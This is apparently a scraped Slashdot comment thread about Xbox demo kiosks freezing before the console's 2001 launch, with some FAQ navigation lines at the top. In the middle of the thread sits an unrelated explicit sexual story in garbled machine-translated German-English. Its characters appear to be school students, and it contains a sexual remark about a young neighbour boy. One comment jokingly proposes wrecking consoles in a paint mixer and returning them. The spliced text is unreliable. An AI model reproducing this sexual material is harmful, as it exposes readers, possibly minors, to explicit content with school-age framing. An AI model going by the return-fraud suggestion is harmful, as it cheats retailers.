I just got moderator access. What do I do?
Why can't I moderate any more?
Why don't you give moderators unlimited moderator access to 5 stories instead of giving them just 5 points?
I found a comment that was unfairly moderated!
What about separating the rating (+1,-1), from the qualifier (off-topic, informative)? Often times a post may be flamebait, but of excellent quality, nevertheless.
Is this censorship?
Has anyone been, or will anyone be banned from Slashdot
I found a comment rated -2 or 6!
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Microsoft couldn't make a decent product to save their lives.
But don't sweat, go ahead and buy an XBox. Next year MS will sell you the fix...er upgrade.
But seriosly. MS's buisness model is based on the idea of continuous upgrade (fixes), to poorly designed products (that may be a bit of a stretch, but not a big one). However the machines themselves are loss leaders for MS. How can they make money by selling an inferior piece of equipment, and it's fix/upgrade. If ever time the user buys one it costs MS money??
I would rather be ashes than dust!
As the XBOX is basically a pc , and the games are all just direct X ... is anyone working on a way to play these games on your pc , or is micorosoft going to release a version of direct x ..etc... to allow this...
this would be a good thing for m$ to do , becuase it would grealy increase the number of games for the xbox , and a developer would be more lightly to develope if they can target the pc/x-box market with the same piece of software....
of course this would also help the pirates...but then again , what doesn't..
Cruise TT
$5 / month hosted VPS on linux = awesome!
Is crashing the X-Box considered a act of gaming terrorism
..that they would have made sure this couldn't happen.. I mean after all, as opposed to boxes standing in peoples homes, they knew _EXACTLY_ what these demo boxes would be doing.. And it should be pretty limited too.. Maybe a self-running demo.. And the possibility to try one game or so.. How hard can it be to test this for a copla days before sending it out to demo??
Love over Gold.
For Example: I'd personally like to assign a -2 penalty on any comment rated 'funny' because most of them frankly just aren't funny at all. But humor is far too subjective to say that the moderation is unfair.
:)
It's funny because it's Microsoft. Get it? It's... oh never mind.
wow...self fullfilled prophesy?
Here goes some precious karma
"Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee
That article describes 5 stores out of THE ENTIRE COUNTRY that have technical problems.
Think we are jumping the gun? Maybe its under super-scrutiny cause its microsoft, and people are taking advantage.
And the above quote (which will probably get that babbage's employee fired), is most likely an anti-MS/Linux Zealot out for blood against the X-Box. I don't see it very believable.
Lets wait for a few days AFTER they release the X-Box to kill it, k?
Good quote, too many chars. Seriously, the slashdot 120 char limit sucks!
If that doesn't work try;
http://www.evilavatar.com/EA/News/M34018/6983.jpg
The surprise isn't how often we make bad choices; the surprise is how seldom they defeat us.
If there is someone who knows how to write software it's Microsoft. (get it?)
Can someone post the article so that I can read it? Darn Websense filtering at work....
Random Musings
If the XBox dosen't work we won't buy them
Only the first few will and they'll report how flaky they are.
If Microsoft pulls monopolistic moves and pushes the other game consoles off the market will we be compelled to buy X Box?
No..
Productivity tools are a need. It dosen't matter if the program crashes or dosen't work 90% of the time.. It's needed.
But on a game console.. thats a diffrent story.
Some people have jobs that suck most of the time. They do them anyway. They have to pay rent...
But nobody has a hobby that sucks most of the time. At least to them anyway.
If X Box isn't 100% great it's dead....
If Microsoft monopolises the market and crams the X Box the market dies with the X Box.
There is only one standard.. It must be fun.. if it's no fun it's dead...
I don't actually exist.
It's pure, unadulterated gensius!
Gensius: the new genius.
I can wait for the release on the Mac/PC. If I buy a console it will be a GameCube as the sort of games that come out on that platform don't generally come out on the PC. The XBox on the other hand will probably be compared most to a PC than a console, especially since I have a feeling that the games will be of similar quality. Of course time will be the ultimate judge and I will find out after 6 months of the XBox being on the shelf whether my current judgment is fair.
Jumpstart the tartan drive.
It's probably just that the Xboxen are crashing every hour or two and it's a lot easier (and less embarassing) for the staff of the shops to put up out of order signs, than to explain why the Xbox crashes when the other consoles don't.
Actually it's not that unusual for pre-release software to crash on consoles( I am a console games programmer) but time is running out for them to reach stability, seeing as the gold disks should be going to master now for a mid-november release.
"Free software as in beer, copy protection as in racket" - Telsa Gwynne
Wow... Another winner from the dope smokers in the MS-beta testing dept.
Maybe the Xbox needs to be registered a-la-XP
before it'll work.
Oh my goodness...I forget to digitally sign the video driver for the new NVIDIA chip! no wonder its freezing!
M$ buyers do not seem to worry about how stable something is or how much money and time they have to invest just to turn it on. No doubt about it. The more crashes, the more likely that these will sell well.
DOA means Dead On Arrival, right?
It's not the crashing that I find so interesting, I mean it would be beating a dead horse to accuse Microsoft of releasing things that don't always operate as expected. What I think is strange is the lack of Microsoft branding in the promotional kiosks and posters I've seen. Taco Bell is running this huge promotion for the Xbox and there is no mention of Microsoft anywhere on the signage. I've seen a simmilar lack of the ubiquitous microsoft logo on the few kiosks displaying Xbox games and systems that I've seen. Given that I can't boot up Windows without seeing the Microsoft logo 10 times, this seems a little odd. Is it perhaps because we expect things like video game consoles not to crash? Are they trying to distance their reputation for blue screens and error messages from their entry into the console market? Ever remember rebooting your SNES because it just stopped working? Ever had to upgrade your Playstation because of buggy code? Me neither.
~raum
The telephone rings.
It is Christian, my best friend, who makes Abi also with me together.
" Ne, today is not so good really. Tomorrow would be substantially better. "
Katja interferes. " say ' to him, it can calmly go past. At 15 o'clock. " I nod.
" today nevertheless... 15 o'clock goes... Yes, until same. "
I ask Katja: " and, which you want to make with it? "
It grinst me on: " I not necessarily, but there already which will be. " " wrong does to
me, but I do not believe. That cannot pend your clique on death. "
" that can suffer none of us? " " Ne, only Isabell perhaps. Over those ' I it ever
laestern did not hear, otherwise it looks mau. "
" Isabell? " ", that is nevertheless the large blond one with the large... rather large...
powerfully large.... "
Katja grinst: " eyes? With the large eyes? Yes, that is Isa. gives ' times please the
telephone. "
She selects.
" hello, Mrs. Gerber. I bin's Kati. Is the Isa there? "
I switch the Lautsprecherfunktionn on.
" hello Kati. How geht's? Does everything have folded in such a way, like you it to
you presented? " " could have not better run. Hear times, want you not also to a boy
today the perfect, sexual satisfaction to give?
" Mach ' I even already. I be situated ' in the bikini and suns themselves. The
neighbour boy sits above at the window and observes me in-handles. I believe '
that already three times to the toilet ran. But now I must probably take off my upper
section around it with the bar to hold. "
Katja vibrates laughing the heading. " one can say about you, what one wants, but
you are a correctly common Schlampe. " " thanks, likewise. Which you wanted to
ezaehlen me now a while ago for ' ne history? "
" if you your neighbour still birds want, eh took care of itself. " " Ne, that is still which
young. Geb ' I still two years, before I me the goenne. "
I sit only there and vibrate the heading.
" thus, you know nevertheless Christian... one of Markus friends... the two sit almost
always together. " "..., I believe ', I white whom you mean. " " does not go past
around three here and the problem is, except you can it of us suffer, is however into
you slammed. "
" TC, the boy has taste... and is sweet... when is I to be there? " " half three in the
stone route 10. "
" everything clearly. Until then. Tschoe. " " Tschoe. " Katja puts the telephone to the
page.
We shower together, attract us again and hear still something music, and already
Isabell comes.
" what do I have to see? You are tightened. That cannot be true nevertheless
probably? "
Then I come also to word.
" beautiful which there you are. Makes happy me madly. But I am here responsible
for the Witzchen. "
" well loosely. Tell. Which made it with you? " " nothing which you not already made,
if I interpret the telephone call correct. "
" you heard it? And, it put on you? " " not as much, as young in your neighbourhood.
" ", there I had Oh me vertan. That was not the boy, but the father. "
It rings. " I Mach ' up ", says Isabell, " then kriegt to Christian the shock of its life...
however Mach ' I also again well. " It was a correct eddy wind.
It goes to the door. Is a little later Christian before me. Grinsend. " which goes off
here? "
I answer: " what ask do you me? I have ' nothing more here to say. " " Haett ' I two
halfnaked beautifulnesses in my house, I would not weight. "
" halfnaked? ", me Isabell falls in the word. " one sees about that I do not carry
Unnterwae. "
I must set myself.
" those is for you ", clears up I there Christian. " to...? Ne, believe ' I not. " It grinst
Isabell on.
Those takes its hand. " come we lift-off already times. "
There two were.
Katja and I knutschen rum. I continue to stroke over its backs and down over their
Po. She masses my member by my trousers.
We hear Isabell up-groan above according to.
" come, we look times, what those make. " Katja pulls me with itself.
" from where those knows at all, where my room is? " " oh, believe ' me, finds each
bed, in each room, in each house. "
Katja opens the door. Isabell is situated naked on my bed. It spread their legs far
and puts Christians heading between its thighs.
Isabell closed its eyes, masses with their hands it their really enormous bosoms.
Their nipples are hard and them groan in Ekstase.
I place myself behind Katja and stroke its chests, my tongue drive their necks along.
I would like to take the Top to it off, willingly pick up her their levers, help me in such
a way. Then pull ' I to it the skirt down.
" I would like to make also with you, what makes Christian there with your friend. "
Katja nods, it does not turn its view away not from the two. I kneel myself before it,
have its wonderful desire center directly forwards mine eyes.
With my tongue I drive off its column on and. Carefully, also few printing, press I
mean tongue between its two lips through. With my fingers I continue to pull apart it.
I find its Klitoris above and as I mean tongue point there lead, feel I Katjas humidity
and hear her groan.
I look to it highly. It closed the eyes and threw the heading to the rear.
" ah, that is fantastically...... further... jaahh. "
Katjas Orgasmus floods my tongue with its dear juice. It tastes wonderful. I try to get
as much of it, as possible.
Subsequently, we sit down for a short break on the couch.
Isabell and Christian changed in the meantime the positions. It spoils now its
member, as it had made Katja this morning still with mine. Also Christian enjoys it
obviously much, does not want however not into Isabells mouth to come.
" control room, I is equivalent so far. "
It pulls its Penis from their mouth and squirts its sperm over their chests. Greedily
Isabell with the tongue over its bosoms licks.
At this sight the blood shoots back into my Lenden. Katja takes my Erektion into the
hand and moves it off on and.
We rise and Katja place ourselves before the bed. It bends itself forward, supports
themselves at the framework off. I place myself behind it and penetrate into her.
I draw my member again completely from it over this time very strongly zuzustossen.
Katja walk loud on before desire and excitation.
I begin to move my hips rhytmisch forwards and back. I have a hand on its Po, with
the other one cover I their bosom.
In the meantime are also Isabell and Christian again so far. Isabell places itself
beside Katja and Christian begins itself exactly the same for Isabell to care, as I me
around Katja.
My rhythm becomes faster. The sight, how my best friend loves this girl, stirs me up
terribly.
I feel that I on my Orgasmus zusteuere and also Katja is direct equivalent so far.
Our groaning becomes ever louder and more violent and with a last, strong impact
releases I us.
Isabell and Christian come briefly to us to their high points and are not quiet thereby
also even.
Since that time Katja and I are a pair. We are terribly fall in love and drive it always
and everywhere together: In the cinema, in the changing room of the department
store, in the auto or on the school toilet during the Abiballs (we have both existed).
Isabell and Christian are not together, meet however fun to have regularly over
together.
All in all a quite successful summer.
No, most "exclusive" X-Box titles are only going to be released first on the X-Box. They will come out later on other systems (see the recent articles on this in OPM). This includes DOA3, which will come to other systems.
:-/ )
The one I am really concerned about is Sega's Shenmue II, which Sega has announced will be "exclusive" to the X-Box (and, honestly, for financially strapped Sega, ports to non MS-based systems of this massive title would be much more costly considering the DC had some WinCE components...
...that Microsoft stays out of the medical electronics industry. BSOD to the extreme.
That's funny. I have a computer that does that!
Ahh, those were the days.. We didn't just EXPECT our video games to work, if you wanted to play Punch out you had to EARN it! And if you didn't have the touch, well, you were still entertained by that flashing red light on the console! We didn't need 3D, we had a flashing red light! You kids have it easy.
History tells us that we should wait for version 3.0 before buying a Microsoft product. Consider this their "alpha" release (1.0). Wait several years for their "beta" release (2.0), and a few more for their 3.0 release. Then consider buying.
If you take a look at the display setup for the XBox you can see that the XBox is sealed in a clear plastic case.
I'm sure the marketing departed thought this would look cool (no pun indened), but it doesn't allow any air to circulate. If you threw a PC running linux in there it probably would also crash.
This is just another case of the marketing department not talking to the tech people. I've never seen that happen before. =)
The X-Box might still be a flop, but not because of stability. The first batch of PSXs was notoriously unstable (anyone remember having to flip the stupid things *upside-down* in order to keep them from freezing during cutscenes?) and older cart-based systems were prone to lockups as they collected more dirt - but people bought them just the same.
In this case, heat is the likely culprit; there simply isn't that much to go wrong just running a demo screen.
As for the market in general, consoles aren't a good way to make a lot of money. Even if the X-Box is a success, Microsoft will lose a ton subsidizing the hardware. And even if the X-Box becomes the dominant gaming console, it's unlikely that dominance will stay around for long since the business changes so rapidly.
Ita erat quando hic adveni.
OK, we will have to update BSOD , for the new crashing screens :)
"We all know Linux is great...it does infinite loops in 5 seconds." -- Linus
An Xbox unit in the Germantown, MD Target store is reported to have "freezing" problems that requires employees to open the kiosk every 75 minutes to reset the console.
This harkens back to the days of Win98.
I'm guessing the Xbox OS has no keyboard or command prompt, so there goes the fun...*sigh*
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Microsoft(r) is fun. You like Microsoft(r). You want to buy a Microsoft(r) XBox(r). Microsoft(r) XBox uses the same technology as their leading operating aystem, which powers some of the biggest systems around. You must trust in Microsoft(r).
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Please, can you provide a reference to this!!!
I swear by MacOS X. Although I use to swear *at* MacOS 9...
I can recall LOTS of cases where I've seen kiosks for other game consoles "down and out" so to speak. It's a pretty common occurence, really.
You have to think about the fact that these units sometimes have to put up with a lot of abuse when on public display. Yes, they're oftentimes enclosed in plexiglass and such, but that's not total protection.
On the other hand, I do know that these boxes run a good deal hotter than your average console, owing to increased "power". Taking that into account, a nice tight protective enclosure might not be such a great idea (I wouldn't try sealing my box up in a tight space and running it 24x7 either).
Of course, on the *really* personal opinion side of this, I think Microsoft has probably goofed when it comes to designing this thing to really last. It's overjuiced in my opinion, runs entirely too hot (and might be too fragile too) for constant use and bumping "by the kids" (hey, I'm a big kid, all that about more expensive toys, yada yada yada).
Man, just when I thought my little bubble world could be Microsoft free... I've already ditched the software side of things
Just some thoughts, nothing more.
Ok... Lets assume you don't like Microsoft. Now buy an X-Box and take it to your local True-Value and ask the paint guy to stick the X-Box in the vibrating/shaking-paint-mixer-thing. The X-Box will now have a ruined hard-drive. Return the X-Box and repeat untill you see Bill Gates bumming quarters for sex in your local slum.
Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.
... meanwhile after playing Xenogears II for 3 days and just about ready to deliver the final blow to the big boss...
"XBOX has performed an illegal operation error at 0000:0001 EAX=BADD EIX=BADD..."
... then while loading the game from the memory [after the crash]...
"Unable to load saved data, XBOX was not shut down properly, now performing a full memory card scan..."
...
"XBOX is unable to complete this operation. Memory card not a valid FAT32 partition."
Time to start over again...
Doh!!!!
Thanks,
Me
Just one more reason to go and get the Best gaming system ever Nintendo GameCube.
I was eating lunch near a GameStop (or something like that) today and when I went in to pre-order Tony Hawk 3, there was an XBOX demo. I *had* to stop and see just how big it is. About the size of a smallish VCR, I'd say. First thing I do is hit the reset button so I can watch it boot. Nothing. The screen cleared and nothing more came up. I'd call that a crash, but it kinda sounds like a hardware issue. The salesguy there said every time someone resets the thing he has to either power it off or play with the reset switch until it comes back. Maybe it's just a problem with the enclosures? A few other stores near by had XBOX displays that reset just fine... I have to say that the controller doesn't seem bad, though. A few sharp edges, but it otherwise fits adult hands nicely. I don't know about kids, though. They might have a problem with it.
This is not an issue where "Microsoft is evil, let's make fun of them." This is a matter of public perception. Historically, they have made unstable operating systems. It doesn't take a "Linux Zealot" to disparage Microsoft products. It takes a track record of stability (insert favorite link to stable OS, be it BSD, Linux, Win2K etc. here) to change public perception.
I remember when the Dreamcast was launched, there was a big hoo-ha about it. I went down to my local electronics shop, and, there it was, a Dreamcast display, hailing it as the most advanced console ever.
Only trouble was, it was running Windows CE, and there was a big, bright, Blue Screen of Death on the TV in the middle of the display. I didn't tell any of the staff.
The crashing usually results from overheating caused by the machines running 24/7, in small enclosures with poor, if any ventilation.
How is that stressful? That sounds like the conditions the box is likely to see in a typical dorm room.
The PS2 isn't the most reliable console.. in addition to DVD and PSX problems you mentioned, my PS2 decided to stop reading CDs a few months after the warranty ended (90 days? ack!). DVDs work fine, but most PS2 games are on CD which sucks. I had to open up the console and adjust a little potentiometer.. I guess it ups the laser power. it works great now, but I'm sure the laser is slowly burning holes through my discs. Consumers shouldn't have to choose between
A. Paying $300 for a defective console, and then paying $120 more for the privilege of mailing it to Sony for repair
and
B. Opening up the console and tinkering around inside
The people who develop for the X-Box will mainly be PC companies. These companies are new to the console market, when the game need to be ready when it comes out. No "ooops, sorry, here is the patch" are allowed!
Note that this is true for Microsoft as well...
I just think that the X-Box has not got the infrastructure to support this kind of working. PC users are used to Windows crashing and hanging, I am not so sure about console players!I for one, don't believe the X-Box will be the big success every one expects. It might be the fastest on the paper, but I still think the PS2 and Sony are going to eat X-Box and Microsoft alive in the console market!
I believe a gaming console is closer to a TV or VCR than to a PC, so I believe that Microsoft is going to fail in this new market!
Let's see what the situation is in one year!
Black holes occur when God divides by zero.
Help! I can't find a fast server to download XBox SP1 anywhere! My XBox crashes constantly, has the Nimba virus, and keeps asking me if I want it to be my "... default console gaming device?".
Let me know if you have any advice.
If Slashdot is where the spelling-challenged go when they die, I'm in heaven.
If early generation games crash, Microsoft will have a perception problem regardless of who is at fault. The bar is set higher for entry machines these days. PlayStation and PlayStation II were not prone to crashing.
As someone already mentioned, comparing a kiosk that runs the early version of the console 24/7 in a poorly ventilated environment is different from comparing the final consumer product being used in regular conditions. As for Playstation II's not crashing, you must have a very short memory. I seem to remember headlines like PS2 glitches likely to drag down Sony's earnings , Sony finds glitches in three PS2 games and more when they first came out and look how successful PS2 is now.
I say, the jury is out until the holiday season is over before we can tell if X-Box will be a success or failure.
This is really bad news...do not buy one of these things. I mean seriously. If there is a decent chance these things could crash, then you have software that 1) may not work, and 2) cant be upgraded or patched
I think M$ and those who do buy this are in for a great deal more than they expect...
...but really, does this *actually* surprise anyone here? Personally, I have no intentions of blowing 300 bucks on another version of MSTrash. Besides, it will only be a matter of time before someone ports it and creates a LINUX based product...
GNUBox!
Am I Over-Moderating??
Even with a worst case scenario that the XBOX blows and we get good, cheap, small form factor boxes out of most PC vendors.
"God fights on the side with the best artillery." - Napoleon, Marshal of France - speaking truth to power
Parental Warning: fully disrobed polygonal behind rendered and animated.
This will be XBOX's first killer app.
'He was a dreamer, a thinker, a speculative philosopher... or, as his wife would have it, an idiot.' - Douglas Adams
http://www.penny-arcade.com/xboxfiles.php3
Hilight:
A friend of mine (which we will call "Dave" to keep his real name anonymous) works there and was assigned to the XBOX project a month ago. (shocking!) Now you may imagine it must been a really busy month building and testing XBOXes and stuff but.. can you handle the truth? can you?!
According to Dave he has spent the last month doing.. (dramatic pause!) absolutely nothing. As a matter of fact he has been lingering around watching videos on the net and trying to appear to be busy. Why? because they didnt have anything to build! the xbox design finally went into production last SUNDAY! (september 23 2001) (truly shocking!!)
Now what happens if you start production on Sunday on a Mexican factory ? (dramatic pause allowing you to answer) NOBODY is there to do it! only those who are unlucky enough to be there doing extra time, (like poor old Dave was) But they were ORDERED to do it anyway. No QA guys, no big bosses nothing, just a bunch of employees, trying to build a machine for the first time ever! (shocking, er, shocking!)
As you may have guessed things didnt went very smooth, as a matter of fact they didnt go very smooth at all! lots of machines were so defective they didnt pass the normal standards and went back to the line again, Dave and his friend expent hours after hours trying to build the damn boxes but they still were defective, to make a large awful history short they only were able to build 10 Xboxes that day! 10! and those XBOXES who did make it only passed standard tests! no other testing was applied!
I'll keep it in mind if I ever decide to try trolling. Personally (and obviously I am biased here), I think that much of the rest of the comment was far too reasonable and moderate to be a successfull troll. Just my opinion.
Microsoft's XBox was one of the main reasons I went to E3, and I was sorely dissapointed. I played HALO for about 30 sec before the XBox crashed. Locked up hard. A bit disconcerted, I moved over to Oddworld, picked up the controller, and bam!. Blue Screen of Death. The poor marketing guy kept saying that we were all playing on some alpha hardware, and that all of these kinks would be worked out by Ship Date.
I'm usually the guy that runs out and buys new consoles the second they come out, but this time I think I'll wait until they put a couple of Service Packs out.
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mando
A good picture of an Xbox crash:
http://mosfet.cjb.net/images/xbox.jpg
Is X-box going to be the 1st console to have downloadable software patches for its games?
Brining the sell now, fix later attitude of the PC world to the console world. (albeit, the PC world needs it due to the limitless hardware configurations consumers might have.)
Yep, DOA3 is still planned for X-Box only..er..wait you do mean "Dead On Arrival" right? ;D
"My days are less enjoyable because of people." ~ Johnny the Homicidal Maniac
See, I always said have patience and wait for the GameCube, it will be well worth it. I hear they're giving the Xbox out at Taco Bell though... yet another high quality product there...
I wonder if they're going to show the blue screen of death on their promotional commercials?
~ now you know
I'm thinking it wouldn't be long, since they are basically writing to a pc. Someone clever did that N64 -> Glide thing a few years ago, so it would only follow that this would be easier. Bleem also seemed like a stretch, but it seemed to function well in most circumstances.
Is there something I'm missing here?
This is the first time a console has been launched in America first for quite some time. Usually the majority of the kinks are worked out when systems ship in Japan first and later in the US. We're experiencing virtual "beta hardware" testing firsthand with Xbox.
Second, there have been tons of reports of Xbox kiosks failing. Not just on GA. I've been reading a lot in the news and on many forums that Xbox kiosk failures are happening very frequently, far more than any PS2 failures. I have yet to hear about a single GameCube failure since it launched in Japan, too.
DOA3 has been reported to be heading to PS2 in the Official Playstation Magazine, along with a lot of Sega games that will merely premier on the Xbox.
Also, to clear something up, DOA3 does not look as good as Tecmo would want everyone to believe. Tecmo has a bad habit of releasing ultra high-res screens captured from developer kits (we're talking near 2000x pixel resolutions). They released beautiful but fake screenshots of DOA2: Hardcore on PS2 with tons of antialiasing. Then when you actually play DOA2 you'll find it's a jagged, shimmering mess. Sad to see that people are falling for the same trick again with DOA3.
Example:
Tecmo provided screenshot of DOA2:HC:
Touched up screen of DOA2
What DOA2 really looks like:
Real screenshot of DOA2
As you can see from these screenshots and movies not supplied by the overseers at Tecmo, the game doesn't really look that much different from DOA2.
Movie of DOA3
Screenshots of DOA3
Not to mention the DOA series' gameplay is very shallow and caters to button mashing, not nearly as deep as Tekken and Virtua Fighter. From the reports it sounds like DOA3 is a carbon copy of DOA2 with prettier graphics. Odd that the DOA series has suddenly become big-game despite lackluster sales on PS2/DC... Maybe because it's on Xbox, because if DOA3 were on PS2 it would be overshadowed by Tekken 4, Virtua Fighter 4 and Soul Calibur 2?
I'd say hold off on an Xbox until they work the kinks out and better games come out for it. The Dreamcast is dead but you can grab one for a very low price. The PS2 is the best platform for gaming now, there are so many good games out and coming out next month that my wallet is going to be screaming for mercy. GameCube looks solid but not quite as solid as the PS2. Wait and see if you are still uncertain.
Men believe what they want. - Caesar
$400 to manufacture when they sell at $299?
Ever hear "give away the razor, sell the blades"?
Selling gaming platforms at a loss, and making it up on game royalties is fairly standard practice. People don't like to part with that big a chunk of money, and they generally don't seem inclined to compare game prices very carefully in advance.
I mean, you see 2 consoles for sale, one for $500, one for $300. You see that the first has games in the price range $40-$80, and the second $55-$95. Which do you buy? That $200 right now weighs in a lot more with most people than the $15/game, even if you end up getting 30 games.
Gaming Age has a response from Microsoft about the broken XBox units.. Here's the scoop:
A Microsoft representative has responded to yesterday's FiXbox story. Here's the official company line on in-store Xbox units.
"With over 10,000 playable Xbox kiosks at retail over a month before launch, there are bound to be a few issues that crop up. Microsoft representatives are currently following up with retailers across the country to insure proper functionality of kiosks. Overall, the displays are working great and we are on track to achieve our goal of having 100% of the Xbox interactive displays working correctly and demonstrating the Xbox difference."
I guess it does have to be explained VERY slowely for some people. The XBox, like every normal console, runs a tiny embedded OS that has no HAL or hardware protection of any degree. Why? Because that would be a huge waste of resources. XBox's own OS is not unlike DOS. Load and display a splashscreen using assembler directly to video memory, then attempt to load whatever media is contained on the disk. No disk? Load dashboard. The XBox has no dynamic libs; all libs are statically linked within the games image. The games have full and total control over the hardware, and can, at will, crash it. Is this different than any other console gaming system that has ever existed? No. Why does this even get a slashdot article? Because it's Microsoft, and slashdotters cannot even spell that correctly.
So next time sit back and remember about blowing into the NES cartridge just to keep the sprites from corrupting, the large release batches of Dreamcast games that were unloadable due to a pressing problem at a plant, or the Playstation IIs of Japan overheating and crashing in mid-play. It's the world of the console. Not stop posting crap and continue with your quest to boot Linux on a doorstop.
I work on the salesfloor at a Target store and regularly work electronics. It seems every time I pass by the damn X Box kiosk I need to unlock it and reset it. The first day we had it the screen showed "Please Wait..." on the screen for the entire day until we managed to get keys to the kiosk to reset it. From what I've seen the graphics don't seem all that great, and the controls are much less than great. I think I'll just stick to my computer.
A consoles most important feature? Ease of use. Period. Look at the history, console addons like Segas 32x and Sega CD failed miserably. NOBODY needs addons that adds a "requirements" for their games. People want to be sure that whatever game they buy, they can play it out of the box. With no need to download/install/reboot Service Pack xx for xbox. I have a really hard time beliving MS could do a product right, the first time. They have no experince in this. Its just not the way they work overthere, MS seems to follow the following bizz. model:
First make press(aka. investors) happy = say you are going to release a really cool product, which does everything. At half the cost(time when we talk office apps/devtools) of their compeditors.
Next, focus on "looks" and making the deadline(you know you got around 6 month of buffer, since people dont really expect you to deliver on time).
Have a huge release party(where the app. chrashes), ship the product anyways.
After articles begin rising on "important" newssites like PCworld, beging to test the application. If under 34 bugs is cound, claim it works. And start building a service pack.
BUUT, Im probertly going to get a xbox anyways. Because its VERY VEEEEERY hackable.
And i would LOVE to be able to run linux on something MS produced.
You're going to listen to something I said? Haven't I made it abundantly clear during the tenure of our friendship that I don't know shit?
It's amazing how you all gloss over the fact that when Sony released the PS1 (RELEASED, not demo), there were hundreds of units that crashed due to heat problems, mine included.
And yet, despite these problems, PS1 effectively handed Nintendo their own testicles in a jar.
Xbox's biggest problem isn't its hardware - it's Microsoft's public image. Heck, I get flack to this day for having worked there at one point. If Xbox were made by, say, Matsushita, you wouldn't be giving it half the flak you're giving it now.
I have a friend who is a game developer and who will remain anonymous (nda bleh). He has been working with the Xbox dev kit and recently has gotten his xbox test machines in order to test his levels and what not. He says there are no problems other than those which would be there while play testing levels.
I wouldnt count out the entire Xbox because some demo doesnt work. Could the code from the developer of that demo be crap? I have personally seen some of what will be on Xbox and it has some great potential as well as some top notch developers in line to make some great games.
Its too bad that when it crashes, and when it has problems, it will just be blamed on Microsoft. Oh well.
Anyone find it interesting that MS has chosen Flextronic's biggest rival to do repair servicing for the Xbox? (Solectron). Methinks Flextronics must have really #$*&ked up somewhere in the Xbox manufacturing for this to happen.
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http://gamespot.com/gamespot/stories/news/0,10870
Men believe what they want. - Caesar
Ya.. i went to the local Electronics Boutique in Coeur d'Alene, ID, and they had one of these kiosks setup.
Well, first off, the system was not working. It did have power, I hit a reset button on the kiosk and the cd activity/power button light started flashing. They did have a Halo miniposter right under the controllers, giving the impression that you could play halo.
Anyway, the xbox is a big box, much bigger then I expected.. and then theres the controllers.. I would say they could be used better as a type of weapon, morning star or something, as they are huge. I could not keep my hands in one position and push all the buttons with any ease.
They had a demo xbox at a Target near my house. It wasn't there a few days earlier, the last time I went.
I saw the glossy sign above the monitor, was surprised to see it there, and was more surprised to *not* see a horde of 14-year-olds fondling the controls.
I walked over to try my hand at whatever demo game they had running, only to find out it was abandoned: the damn thing was frozen.
Oh well, the glossy sign above the monitor looked nice.
Software Wars
The DOS crashes, the crumby DOS command-line, the Windows 3.1 inability to run in 386 protected-mode, the daily Windows95 crashes... all due to heat.
Warning: fully disrobed polygonal behind rendered and animated.
This will be XBOX's first killer app.
'He was a dreamer, a thinker, a speculative philosopher... or, as his wife would have it, an idiot.' - Douglas Adams
Microsoft should not be blamed if this is a hardware issue, especially overheating.
Microsoft may have designed the initial machines and the software, but it's Flextronics that manufactures them.
Also, I wonder if this is related to the Delays they were denying?
No one ever says, 'I can't read that ASCII E-mail you sent me.'
I have never had a crash on my PS2 and I was a first day (US) buyer. I don't spend a lot of time gaming however (I mostly wanted to have it, to have it).
I have never seen a crash or hang in a store, but once again, I haven't spent hours haning out in mall electronic stores.
That all said, Sony had lead time by releasing in Japan first to shake out many bugs. Microsoft will have virtually no time to fix any perceived problem while the Holiday season is in full swing.
Rightly or wrongly, the general public associates crashing with Windows. Any above average occurance of crashes will doom this product, and be a black eye for Microsoft.
For X-Box Fans, cross your fingers and hope it's the heat.
Letter To Iran
You can download the Sp1 for the Xbox, should clear everything up. We will be shipping the service pack with the Xbox rather than delay the shipping date. You can expect a couple of Hotpatches in the next couple as our beta testers get a hold, I mean our first customers get a hold on the games.
Enjoy.
Neck_of_the_Woods
#/usr/local/surf/glassy/overhead
Can you please return Munch to the PC? NOW?!
I'm determined to reclaim my karma. Now, if I can only find a groundbreaking article and something witty to say....
Buy stock
What you need to do to clear this up is goto www.microsoft.com/xbox and download the newest Service Pack (sp1) for the Xbox. This should clear everything up for you. We will be releasing some Hotpatches in the next couple of days as our beta testers get thier hands on the games. I am sorry I ment to say our customers get thier hands on the game. We will not be changing the release date we will just include the SP1 cd with the release.
Enjoy.
Neck_of_the_Woods
#/usr/local/surf/glassy/overhead
Of course, being Microsoft they say "may" but I'm guessing its pretty certain.
Yeah, and DOA2 was Dreamcast only.
There will be DOA3 for every platform, they'll just call it something like "DOA3 Special Edition" or something so that they can slap an XBox exclusive tag on it when XBox comes out and still get away with it. Like when "DOA2: Hardcore" came out for PS2. Either that, or it'll basically be the same game as DOA2.
The publisher will push the game for every nickel.
Is DOA3 still planned as x-box only?
Is that as in Dead On Arrival?
A computer without Microsoft is like ice cream without ketchup.
That's really the problem - once the Xboxs and games are shipped there aren't patches. I don't think M$ has the mentality of the console down... what are they going to do? Distribute flash-ROM system upgrades for everyone who bought 1.0?
Consoles are suppossed to be like toasters - you plug them in, press the button and they just work.
Every system upgrade - assuming you get people to do it stands a chance of breaking already shipped games - then you'll have ot upgrade you DOA3 to version2 to get it to work again.
I don't think so...
Shipped is shipped.
=tkk
Bill Gates - Creationist?!?
Error messages should also show the relevant parts of the EULA and have button saying "I Agree" instead of "OK".
it will release a new XBox XP next year, promising to be "more stable" than the original "XBox". Oh yes, you will have to pay another $300 for it too...
MS doesn't own DOA3 and would have nothing to do with a PS2 version. It's being written by the same company that did 1 & 2. The statement merely says that MS doesn't have an exclusive arrangement with the dev studio.
-Brian
"Faith strikes me as intellectual laziness." -Robert A. Heinlen
MS pr hack says: "Overall, the displays are working great and we are on track to achieve our goal of having 100% of the Xbox interactive displays working correctly and demonstrating the Xbox difference."
Uh-huh. "On track?" You mean the original was to send out some broken units and fix them after they've been shipped and set up in stores? You're staying "on track" with that plan?
The "track" wasn't to have 100% of units *shipping* in a functional state?
Software Wars
What's the point of a computer in a console? If I wanted better games with better graphics, but didn't mind fighting with configuration, hardware specs, blah, I'd just play a computer game. A console is for those of us who want to smoke a bowl, grab a bag of Doritos, and veg out in front of the TV. It's designed to be FUN. To me, dealing with a hard drive, OS, etc. is exactly what I DON'T want from a game system. Screw that. All I need from my console is a place to put the CD/cartridge in, and a power button. Anything else is to damn complicated. I'll stick with the PS/2. Remember: "Puff, Puff Give!"
Arriving in early November:
Tony Hawk's Blue Screen
All things considered, shop conditions may just be better than the messy, cramped places some of you have shoved your consoles..
